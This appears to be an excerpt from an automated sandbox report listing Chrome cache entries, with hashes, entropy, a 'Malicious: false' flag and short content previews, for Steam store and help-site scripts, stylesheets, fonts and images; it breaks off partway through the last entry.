Encrypted:	false
SSDEEP:	1536:qOpYuxcehc6Ac/ErbZz5T/q77xkLuEW6J/ItrMKBPQDsPsdCkCatn0noz4:3Yjge4ImVz
MD5:	F74CD0AE23533449CC8AF7F8F151A9BC
SHA1:	C48A1D9F24875C273B77618EF941BCC7C3E0188E
SHA-256:	911383C10ABC27CACB7BADC757EA3366CCE08643AA808B6281A7312FDAB63F59
SHA-512:	747DA2DF9F7FD391953BDDC96868BD2BF6E0042F602A15A661C72DD6345745B07A11DB2B56B769D4D4449F568A44920D066BD99D6ECA07C4E40DFC4CBB1B5EE4
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/main.js?v=90zQriNTNEnM&l=english
Preview:	..function GotFlashPopup()..{...var win = window.open( 'https://store.steampowered.com/gotflash','gotflash','width=536,height=546,resize=yes,scrollbars=yes');...win.focus();..}....//..// Page-able tabs..//..var tabStart = { };..var tabMax = { };..var tabTransition = { };..function PageTab( tab, delta, max, params )..{...if ( tabTransition[tab] )....return;.....if ( !tabStart[tab] )....tabStart[tab] = 0;...if ( !tabMax[tab] )....tabMax[tab] = 0;.....if ( tabStart[tab] + delta >= max )....return;.....tabStart[tab] += delta;...tabTransition[tab] = true;...if ( tabStart[tab] > tabMax[tab] )...{....if ( !params ).....params = {};....params.tab = tab;....params.start = tabStart[tab];....params.count = delta;....new Ajax.Updater(......'tab_' + tab + '_items',......'https://store.steampowered.com/search/tab',......{ parameters: params, method: 'get', insertion: 'bottom', onComplete: TabCompletionClosure( tab, delta, max ) } );....tabMax[tab] = tabStart[tab];...}...else...{....RollTab( tab, del

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 41424, version 0.0
Category:	downloaded
Size (bytes):	41424
Entropy (8bit):	7.98899836549604
Encrypted:	false
SSDEEP:	768:K+F7LEi09DTJ0yWQeu29lsoKyaYopWadPez4bw7VQbywb4AIb3+wEL5i+:ZF6RGVQn2PKboadPU42Qb4AIb9Etj
MD5:	57BD6F5C2A7C3C90763FBF2744699879
SHA1:	27A5CAFFFEBD1D150C6A6B3F7987045482C507C9
SHA-256:	A472DF8BF74A611C4136F892221D4832010988461B4CD9D68058896F1F25A512
SHA-512:	A7647198A5902E16EA4272B4D7F435B4C7A7E2D9A3CE86D9FCE8BE790627A738EAA87011864637E8248A2EEDC809A7FD73AB250B21A35C0EF6060525611C81FD
Malicious:	false
Reputation:	low
URL:	https://fonts.cdnfonts.com/s/61286/MotivaSansRegular.woff.woff
Preview:	wOFF.............._X........................FFTM............m.._GDEF......./...6...3GPOS..........(.1W.GSUB.............n."OS/2.......O...`h..cmap...\........\|[t.gasp................glyf......o?...T...head...X...1...6....hhea....... ...$....hmtx.......>........loca...l...$...$K..Ymaxp....... ... ....name..~........~_.t=post......./.... +..x.c`d`...e"w..m.2p3.`......`....RX.X..\..&.(.^M.c...x.c`d``....%....A,.@.......J...........................@......x.c`f.a......................\|....31 @.w........L..s0.`...C..a2H...i..R`...1W...x....,;......mk1..w..m.}..m.m.~}..Y..N..\|.2.T*3:...@...$.#....k.U.`....a.~. Y..l@.\.........8.J...,4.#.i<.L..y...[1ZW!...N.sl&:3~..(..=.Y".0.1:[.....0.s3..:.4".3.e..V..."t...a.5.~....B..0... J.e.!t..GK.....!Izr/K..h[.A.>.\.E...>.C.5=..a.D.e..c..Z(.....m..k3c....NOf.J...h..:.}.......jh...{.-...O....Jd.y...u'&0g6....q..!(.hc%..H......i.s.!.9.....UA.....r...M....B"4..&..`..3.`..?....Z.....@c.4&.>:.Ci.<..tk./..r..W..'..D....bc.1s^..gc

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	91429
Entropy (8bit):	5.314088694667635
Encrypted:	false
SSDEEP:	1536:imsvf3ZcGj0CqB26gdz5a70sfFo1KnVn6z4EBYfhlOPBr90w6ssOZrQSysmHN4j4:K046g+Dn6z4EBBlWN40
MD5:	7F3E92BF5B5B4B76446E6147D86C21AE
SHA1:	277260B15BB51C0E19B4B3D27ACC4E4E5F172069
SHA-256:	C19260B0FC51D2BC52D42E72DA83699701B5C5040460AA6BC13F4F0E6F5F9FF3
SHA-512:	47E9F75803C0D8B1EC169FC501A1768B4F11F38C54C435B1ACD2CF9BFA4707C78EF56B3868D50AA36D6975760A57843DD306829D92A04B36BB1AA94B506AEF79
Malicious:	false
Reputation:	low
Preview:	..function GetElemSNR( $Elem )..{...var snr = $Elem.data( 'snr' );...if ( typeof snr != 'undefined' )...{....return snr;...}.....// look for links with snr parameter...var links = $Elem.is( 'a' ) ? $Elem : $Elem.find( 'a' );...snr = null;...for ( var i = 0; i < links.length; ++i )...{....var link = links[i];....var navinfo = link.href.match( /[\?&]snr=([a-zA-Z0-9\-\_ ]+)/ );....if ( navinfo )....{.....snr = navinfo[1];.....break;....}...}.....$Elem.data( 'snr', snr );...return snr;..}....// given an array of impressions as strings, this will handle joining them all together into a singular string, but enforcing that it doesn't..// go above the cookie size limit which can otherwise cause users to become stuck since the page requests will start failing..function JoinImpressionsUpToLimit( rgImpressions )..{...//cookies generally can go up to 4k bytes, but we can have problems when we start getting that close, so cut it off earlier...var nRemainingLen = 3200;...var result = '';...for ( var

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1155 x 1155, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	7649
Entropy (8bit):	5.1188675920344835
Encrypted:	false
SSDEEP:	48:r2trufFoK7VnCT4Xp2xYQmVJaBEW0tHjpneiH+TpW:KtrIoK7Voa6YQm7aBEW0ttnegQpW
MD5:	E2D6D224BAA50A3E340E76974D553889
SHA1:	43DCACAABC92D06262532154EE9DE89573DFCCD9
SHA-256:	804D4FF7A9CE2BAACCD7B4CF6911E8EB58ACFB49A0843958E1BE1CCB2E2EE1C9
SHA-512:	AA6D51B6C892EDEA4055757AE6BF91A2D4C402D07B542526CEE055F251581E7FFF7BB315A2F1FBDA0AB4CDF3206668993C620E6FA378C85A283EB4DA355EB1E6
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_mobile_qr_code.png
Preview:	.PNG........IHDR.............eih.....bKGD..............IDATx....q..@Q..{..!L.3.(.E..fi......s. .<R}............^....?......)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.......^o.uz.....n..=G..(.m..y.............@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M..........3......e...8H........<..N......:......._A?..~..\|.....*8.._...9......._A?......jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.....8.....:..w..>..w.m]6..y.

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 298 x 137, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	28667
Entropy (8bit):	7.9837637514425595
Encrypted:	false
SSDEEP:	768:a30Z4XWxlJVZOLiKhwbGUzCbN5gknK0fHcrNS8WVra:aEZ4XWR7OLiKhhhB5BfGNsVra
MD5:	D9871B81A9DAD8ACB788EBC2D3066F72
SHA1:	C5CF4295DB683221688EF2C6F9206C71F34F15AB
SHA-256:	BD837F4A2362D50B85A9C748B8DC9C3AA2F807CB838233DF513DF034DD604998
SHA-512:	CFAE8BD0D9564A5E96454AAAC8DC8CA2BA87CD5DAEB6D27DB26276B34033CF8170337C199CD1025641BE9DD584BD25A4FE6DF7836EBF22E75DCD47A4857DBCBD
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_link_accent.png
Preview:	.PNG........IHDR..............u.....pHYs.................sRGB.........gAMA......a...o.IDATx..Y.,K.&...G....)...k.....AB..O .....<.........#.+?......!!!$..!...7..{G..............{........>..hLg.....v.4...1.cev....\x..'3.....H...=&.c_.y..c.>v.<......^r.c...).;u.%.._g..q...i.c.x-.N9.R.%..8n.......}I../....#5....%.o..A.b.z..m..K.......k.K...q#..;....'/\.c...n+.n..-h..5.j@.....B.t....1....-.yve...M.-rk.d^.,s...}..;....Dp.^Ku}.$s...wy....a~.c.d..~[:.X...0...bC...+`.a9x.1 1......n_..[.RN\.%...y...=..9...<..^.ob.@S.z..j.....m....h.B.....k.S@D.}...9.v..........{.c.....=+..o.y................V#].K........n......;.}.\|`b.&.8V.u..{..P.M...L....7....N.....P..W..A...o.&.tj.rj...d.).H.....}.s.=.^......u....P?..'..<.=..I....."0....c.C....N.c....s)(....y6..+..../t.........!p..f.....n.O.?..M...%...l}......o.\.X.k.......=N..c..nD.u...TYz.y}...P..a"..#..<6.1..WV..b@.)0.............n.....wi.dP-.Ot.....@.A...u...4..;...m....4..o..&..p.......y...Y.

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1819), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	88658
Entropy (8bit):	5.66635034976008
Encrypted:	false
SSDEEP:	768:DTUiHsVJv7oMzMaAYW6HNZEIqhNR08QWQMJviJzn/9UaEFxfsN/WCcZGb98cObY0:+fn/TEr5CFEj+iSgu873pO9EdUnweoQE
MD5:	8398D87A4D3D1D95F4C55802C8594D79
SHA1:	DD838C3B235E24A16E9DE766FCFE7C91034146DA
SHA-256:	D5C70B0915985C9CA0494666E6D54A87828775FF87367FF5E2D0396118D30EC1
SHA-512:	F1152649D6C20F6B6DABECB474137C026CA12C6EC92FFF1CCAE1460F1A09A736062D1D077921391AD7AFC0F4768894C3CBAF0A723123032E9B5418BCEFBC5231
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/css/shared_global.css?v=g5jYek09HZX0
Preview:	:root {.../* System greys /...--gpSystemLightestGrey: #DCDEDF;...--gpSystemLighterGrey: #B8BCBF;...--gpSystemLightGrey: #8B929A;...--gpSystemGrey: #67707B;...--gpSystemDarkGrey: #3D4450;...--gpSystemDarkerGrey: #23262E;...--gpSystemDarkestGrey: #0E141B;...../ Store blue greys /...--gpStoreLightestGrey: #CCD8E3;...--gpStoreLighterGrey: #A7BACC;...--gpStoreLightGrey: #7C8EA3;...--gpStoreGrey: #4e697d;...--gpStoreDarkGrey: #2A475E;...--gpStoreDarkerGrey: #1B2838;...--gpStoreDarkestGrey: #000F18;...../ Gradients /...--gpGradient-StoreBackground: linear-gradient(180deg, var(--gpStoreDarkGrey) 0%, var(--gpStoreDarkerGrey) 80%);...--gpGradient-LibraryBackground: radial-gradient(farthest-corner at 40px 40px,#3D4450 0%, #23262E 80%);...../ Colours */...--gpColor-Blue: #1A9FFF;...--gpColor-BlueHi: #00BBFF;...--gpColor-Green: #5ba32b;...--gpColor-GreenHi: #59BF40;...--gpColor-Orange: #E35E1C;...--gpColor-Red: #D94126;...--gpColor-RedHi: #EE563B;...--gpColor-DustyBlue: #417a9b;...--gpColor-L

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/header/btn_header_installsteam_download.png?v=1
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 8 bits/pixel
Category:	downloaded
Size (bytes):	1406
Entropy (8bit):	1.6214494414274285
Encrypted:	false
SSDEEP:	6:UcLDpXejv8EGctuBoCWCqRFoRJrlRq0qGpmEDqSrur3pTHkl:UcLNejketKWCqLkXqTGQE2SO54l
MD5:	2690CED7D66CF8B34658922E9625F65E
SHA1:	57477C2180CC7B6B9E3064A46CF8DA4AD7555540
SHA-256:	0C6516E22335E762E68BB63CC3F6EEE7455FC226D0FC00C62EF13FC93FA16971
SHA-512:	C95A83A53C9FD1DA6388B8C63E6B8434670F1A0C9C9DB2CC775EFC127899536095EC8290EC251575D1A355CC8C3A2C9786E719AE7E51D992DE9E73E080D92AAB
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/favicon.ico
Preview:	..............h.......(....... ...........@...................ust.....QVS.................\|\|\|.kom.....^[]...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2917
Entropy (8bit):	5.228296617631515
Encrypted:	false
SSDEEP:	48:PFzAlKxWKDzeqy5UZEwvUD675JZh9wuh6Fyy2Yl0rIFS3E3Ez9+IQQdwxjTTSeaQ:+zBN5Gvg6LZfwvkyXk+4E3EzbaxrSdMp
MD5:	405088F8D3FED7506E915118063BE2C2
SHA1:	1E8B4FBD31497DC0C6656791C2F90828E318140C
SHA-256:	BFCFD556CD300A21962BC18721C79D670BFFD653D058AC8FD1ADFD50D2D00C82
SHA-512:	FADF951A97ADDF12662F3D0272E39BDB60544C40FFD93E33C643769D7175A7265CA693F2B55C4BE8C0E7B872098912696D92CABC5A5B4319AB0201C553B477A0
Malicious:	false
Reputation:	low
Preview:	var selStates = new Array();..var modalDismissHandler = false;....function showGotSteamModal( contentEl, steamURL, appName )..{...$('gotSteam_SteamURL').href = steamURL;...$('gotSteam_AppName').update( appName );...showModal( contentEl );..}....function showModal( contentEl, bExplicitDismisalOnly )..{...// hide selects, which have an infinitely high z-index in IE...sels = document.getElementsByTagName('select');...selStates.length = 0;...for(x=0;x<sels.length;x++)...{....selStates.push((sels[x].style.visibility == undefined ? 'visible' : sels[x].style.visibility));....sels[x].style.visibility = 'hidden';...}......bgEl = document.getElementById('modalBG');...if(!bgEl)...{....bgEl = document.createElement('div');....bgEl.id = 'modalBG';...}...new Effect.Appear( bgEl, { from: 0.0, to: 0.8, duration: 0.4 } );......cEl = $(contentEl);...cEl.show();......modalSizing( cEl );.....cEl.sizingListener = modalSizing.bind( null, cEl );.....// skip registering the resize/scroll events on iphone as w

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 690 x 1398, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	256364
Entropy (8bit):	7.992281401208544
Encrypted:	true
SSDEEP:	6144:vqswArZbdG/0wtJ2xZ73xzCn7w5KXj4Lb+dqML:TJdGSxZdo0sj++V
MD5:	C825B8122182802B91860D2EE93A3673
SHA1:	E9469C6D4B1052F24F68910C558A35DD9ABCC7C5
SHA-256:	7CDB8C32814C2C3062F5B5BDE0B82B1DCA917F3D70D8F0C1F6D7163CC6EBA4F0
SHA-512:	C070BE903656E47249395C25D218244F1299F1A7F9801253E5071CD6AA84A8281932C49BF33B85FD4172EEAFD4C97BB89B0F83648540042A38DDB3FA0C0C858E
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/web_chat/web_chat_english.png
Preview:	.PNG........IHDR.......v.....f._.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:2de2dab8-aafd-484a-a2b7-1ccf02b6f6d9" xmpMM:DocumentID="xmp.did:BB036D2E468C11EDB387FB043C60A269" xmpMM:InstanceID="xmp.iid:BB036D2D468C11EDB387FB043C60A269" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3d4abc37-e1c4-4542-87e7-6ceb3124c2bd" stRef:documentID="adobe:docid:photoshop:e32f5b3b-edae-344e-8ae3-b5fef5af14d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......~IDATx....\U..

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.661932872373583
Encrypted:	false
SSDEEP:	3:YWQRAW6kYN:YWQmT
MD5:	CC23E88E5E3A1AEFB54805284245A25B
SHA1:	A255901026FA8C111C9CC658E78D3C46BE479128
SHA-256:	8F22FEBFD2EBD5AD2A15E6C3B4647CAFE6B3C7DBAC8B59530EF76A378608C4B9
SHA-512:	9B4202B9074BD2E7FBBA84BBA9C89FC0D8CA269C2FE51E496830D0C8734CFA89E8B32ADEB36DC37FBFFB253425228777062049468ECE876A144C9B6233197657
Malicious:	false
Reputation:	low
Preview:	{"success":false,"error":8}

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2646
Entropy (8bit):	5.186625633836425
Encrypted:	false
SSDEEP:	48:y3/p1p6iBbbjR3+Muik5kSR3+MuikywR3+MuiktStR3+MuikFXR3+MuikRCR3+Mm:ip1p6eUMuotMuYjMuvFMuboMu3dMuIw9
MD5:	45CDA1A73836131DD3614C2C3854CA4D
SHA1:	8C5F6023535CB883463E83170430B31EE72B5176
SHA-256:	218BEDD2A2817DFDE5F3A900B6204C7E378E1B747FF98AE89AEDFF2391E4429C
SHA-512:	EFA13E0D107CB9915BB8AB250B417880F08E255FF2D6457306FEF6A6FF0DEE0FC2F0FCA15738B71CE1AACCD3B2556B677881BEF4A6CB182D696B583F10E78559
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english
Preview:	/.. Font: ..Motiva Sans.. URL: ..http://www.youworkforthem.com/product.php?sku=T2982.. Foundry: .Niramekko.. Foundry: .http://www.youworkforthem.com/designer/293/niramekko.. Copyright:.Copyright 2011 by Rodrigo Saiani. All rights reserved... Version: .1.0.. Created:.August 09, 2012.. License: .http://www.youworkforthem.com/font-license.. License: .The WebFont(s) listed in this document must follow the YouWorkForThem..... WebFont license rules. All other parties are strictly restricted..... from using the WebFonts(s) listed without a purchased license...... All details above must always remain unaltered and visible in your CSS... /....@font-face {...font-family: 'Motiva Sans';...src: url('https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015') format('truetype');...font-weight: normal;...font-style: normal;..}....@font-face {...font-family: 'Motiva Sans';...src: url('https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.01

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	24657
Entropy (8bit):	5.319718503552118
Encrypted:	false
SSDEEP:	384:aUXvnJo2dacv5Wc4gOV+n0Xmz85JX1c/jc0NL+lMF2KDnXhOMucpqWqGil/wSwf3:aU/nq2dd4gmLWqGil/wS20m
MD5:	A52BC800AB6E9DF5A05A5153EEA29FFB
SHA1:	8661643FCBC7498DD7317D100EC62D1C1C6886FF
SHA-256:	57CFAF9B92C98541F769090CD0229A30013CEA7CFAFC18519CA654BFAE29E14E
SHA-512:	1BCACD0EC7C3D633D6296FFF3325802D6352805F0D2CF1EEA39237424229ECFFAD6CB2AEE4248E28B1ECA02FF0646B58240851A246BBCF0AA1083830D5D9081E
Malicious:	false
Reputation:	low
Preview:	"use strict";....// build our menu on init..jQuery( function($) {...var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};...var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {matches: false};.....var $HTML = $J('html');...window.UseTouchFriendlyMode = function() {....return $HTML.hasClass( 'responsive' ) && ( mqQueryMenuMode.matches \|\| $HTML.hasClass('touch') );...};...window.UseSmallScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqQueryMenuMode.matches;...};...window.UseMobileScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqMobileMode.matches;...};...window.UseTabletScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'tablet' );...};...window.UseNewMobileAppMode = function() {....// the new mobile app can run on screen widths wider than responsive_css_maxwidth....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'rn_mobil

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 37x37, segment length 16, baseline, precision 8, 32x32, components 3
Category:	downloaded
Size (bytes):	702
Entropy (8bit):	6.805425587929178
Encrypted:	false
SSDEEP:	12:Ac150Xyose8z9roNN0kEW0YIzKwbpcdFYOiEscTlEkUJfT2:Ac1spMroN7AYiDbpcdFY8sipGb2
MD5:	E89EE7BC3EEF1CA9184F69758BA3FE36
SHA1:	1D33AE6EF98078966C625BBD7A67A5538DADF4CC
SHA-256:	9498210D8F9B4268D4396C6E0756A0F414895AE89C8ED5EA972E13B172E4DCD3
SHA-512:	D409E6B849F5A54CE98050A2049BA9AA210B73B1900C8A27E2DF2C91D601D678C0E81C1390774D1D2CA07799B48D9F1E8CCE2200F4735BF41575A68622973434
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/730/8dbc71957312bbd3baea65848b545be9eae2a355.jpg
Preview:	......JFIF.....%.%.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...... . .."....................................-.........................1..!Aa.#.."..$2Qq...........................&......................1.!....."Aa...............?...j.V....+).6......o....J.$..........ezT.b.FK.`g.).=..?..S._..o.n:RmV...E.~T...3.\|....wf..4..0.....(d.....-.z.-...z....O.S.F1..+.N......R..G%z{r..M.$.............@...R"....P.e'aZ.EDT...-.4.$..........=..2.!...i-.FB...\|....z..i..g"d.\......>.ZaF................7'.}.[......'.....8..WH&Y.$...9....,.....he..1...rB..........:.:U..>u.(L...u.......6...h.P.4H.j..

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	16087
Entropy (8bit):	4.969826359236833
Encrypted:	false
SSDEEP:	192:x32Mu4vUDjHbnZsXGWIS75sTY8M7ebb6qgrrY20jhN3MScuhJ05zb5jzCF+MlF+8:x32L4kzt3gtGb5LQqha31iUTSiq5N
MD5:	72938851E7C2EF7B63299EBA0C6752CB
SHA1:	B75196BD3A6F9F4DFC1BBF5E43E96874BCD9CE4E
SHA-256:	E2D4E0E1D3E162FDC815F16DFFF9AE9B0A967949F0F3AE371F947D730A3F0661
SHA-512:	2BB6C03A1335EF9514D0D172A4284D82A29D1783A72306BDCB8AF3185D5CD2FF16303355AA4B05086D2FA0B5B7C7159CFA67DE4A6175095FF0E68ADEC2A56AC1
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Preview:	/* Requires jQuery.. .. This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some.. * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be applied to.. * every element in your .v_tooltip() selector, so giving it a common selector like '.tooltip' is ideal... .. Options:.. * - location: Where the tooltip should spawn in relation to it's parent.. * - offsetN: How many pixels to add.. * - trackMouse: Should we track the mouse cursor instead of the parent?.. * - suppressOnClick: Should we hide if a user clicks the target?.. * - suppressWhileToggled: Should we ignore events if the target has the 'toggled' class?.. * - tooltipClass: css class to apply to tooltip elements.. * - fadeSpeed:.Time (in milliseconds) to spend fading in/out. Set to 0 to disable... * - allowHover: Should we keep the tooltip open if we mouse directly on to the tooltip? (Your tooltip will need to spawn in

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, CR, LF line terminators
Category:	downloaded
Size (bytes):	82768
Entropy (8bit):	5.214896755967683
Encrypted:	false
SSDEEP:	1536:BpwKe3CskuBVNpOKE4yBCRLSneisMqB/dhgaKMiPx:wHRLSneisM4KFx
MD5:	3A3E46A1B10799006CAAA43EDE8E4ED2
SHA1:	697934283D79B171239D671E5DE16F3D49A7CB98
SHA-256:	58A2A035D584F440197302E66100EB91D7B09FA86FBDAFD2CD60C3439D7B2AAF
SHA-512:	FDA5A6EF2F6D8277B69B4123BF85BBC5846271CF8598E1C81A413822096209B76708AFE77B2CC32CB7F3EC3A24B9F45C00A5CB11D149A0A6318657C5747F8887
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/css/help.css?v=Oj5GobEHmQBs
Preview:	..* {...padding: 0;...margin: 0;..}....img {...border: none;..}......a {...text-decoration: none;...color: #ffffff;..}.......a:focus {...outline: 0px none;..}....a:hover {...text-decoration: none;.. color: #66c0f4;..}....a.nohover:hover {...text-decoration: none;..}....textarea..{.....font-family: "Motiva Sans", Sans-serif;....font-weight: 300; /* light */.......font-size: 12px;...color: #ffffff;...background-color: #1a2738;...border: 1px solid #000;...box-shadow: 1px 1px 0 #45556c;...padding: 4px;..}......html {...height: 100%;..}....input[type=submit] {...font-size: 14px;...padding: 6px 10px 6px 10px;...background-color: #264963;...color: #6abcf0;...margin-top: 34px;...cursor: pointer;...border: none;..}....input[type=submit]:hover {...color: #ffffff;..}....input[type=text],..input[type=date],..input[type=time] {...color: #ffffff;...background-color: #324965;...border-top: solid 1px #182636;...border-left: solid 1px #182636;...border-right: solid 1px #45566a;...border-bottom: soli

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
